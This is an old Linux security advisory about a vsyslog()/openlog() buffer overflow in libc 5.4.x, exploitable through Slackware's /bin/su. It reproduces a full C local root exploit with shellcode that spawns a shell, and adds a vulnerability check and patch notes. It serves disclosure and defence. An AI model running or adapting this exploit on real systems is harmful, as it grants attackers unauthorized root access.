COMMAND
vsyslog() overflow
SYSTEMS AFFECTED
Linux with libc 5.4.23 and RH 5.3.12-18
PROBLEM
Solar Designer posted following. This vulnerability is already
fixed in libc 5.4.38, but doesn't seem to be widely known, and a
lot of people are still running vulnerable versions of libc.
Thanks to Jon Lewis for recovering the exploit erased by an
intruder. The buffer overflow is in vsyslog(), by the ident
string previously set with openlog(). It is exploitable via some
versions of /bin/su (for example, the version that comes with
Slackware 3.1), and possibly some other privileged processes that
use user-supplied data in ident for openlog() -- could even be a
daemon setting the ident to something like "daemon: username". The
behavior of Slackware's /bin/su is quite stupid:
sunny:/tmp$ ln -s /bin/su kernel
sunny:/tmp$ export PATH=.:$PATH
sunny:/tmp$ kernel
Password:
sunny:/tmp# tail -1 /var/log/messages
Dec 20 23:32:33 sunny kernel: root on /dev/ttyp1
No real security hole here, but this shows it was a stupid thing
to use argv[0] for openlog().
Here goes the original exploit, the author changed the shellcode
to run _bin_sh since /bin/su uses basename(argv[0]) as ident, and
using '/' in the shellcode is not possible. You have to link
_bin_sh to /bin/sh and make sure you have "." in your path before
running the exploit.
/*
vsyslog()/openlog() exploit by BiT - 8/8 1997
Greets to: doodle, skaut, melon, kweiheri etc.
*/
#include <stdlib.h>
#include <unistd.h>
unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
unsigned char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
char *buf,*p;
unsigned long *adr;
int i;
if((p=buf=malloc(2028+28)) == NULL)
exit(-1);
memset(p,0x90,2028);
p+=2028-strlen(shell);
for(i=0;i<strlen(shell);i++)
*p++=shell[i];
adr=(long *)p;
for(i=0;i<7;i++)
*adr++=get_esp();
p=(char *)adr;
*p=0;
execl("/bin/su",buf,NULL);
}
You can also take Solar Designer's generic return-into-libc
exploit (the lpr example), set SIZE=2100, ALIGNMENT=12, edit the
execl() -- and it works just fine, without a problem with
shellcode since there's none.
SOLUTION
This was verified that is exploitable in libc 5.4.23 and RedHat's
5.3.12-18 that comes with RH 4.2, but is fixed in 5.4.38. It can't
be exploited via /bin/su on standard RedHat setup though. Since
you should fix the vulnerability regardless if it's exploitable
via your version of /bin/su or not, here's a tiny program for
checking if your libc is vulnerable. If this segfaults, you're
vulnerable.
#include <syslog.h>
int main()
{
char ident[4096];
memset(ident, 'x', sizeof(ident));
ident[sizeof(ident) - 1] = 0;
openlog(ident, 0, LOG_AUTHPRIV);
syslog(LOG_NOTICE, "message");
return 0;
}
There's a new version of Solar Designer's non-executable stack
patch available at:
http://www.false.com/security/linux-stack/
The Linux 2.0.33 version got improved trampoline support (an extra
kernel configuration option) for running with glibc (RedHat 5.0).
su has been fixed in Slackware 3.4. Under Slackware 3.4, libc
5.4.33, code for testing will cause following message to be logged
to syslog:
<BUFFER OVERUN ATTEMPT>: message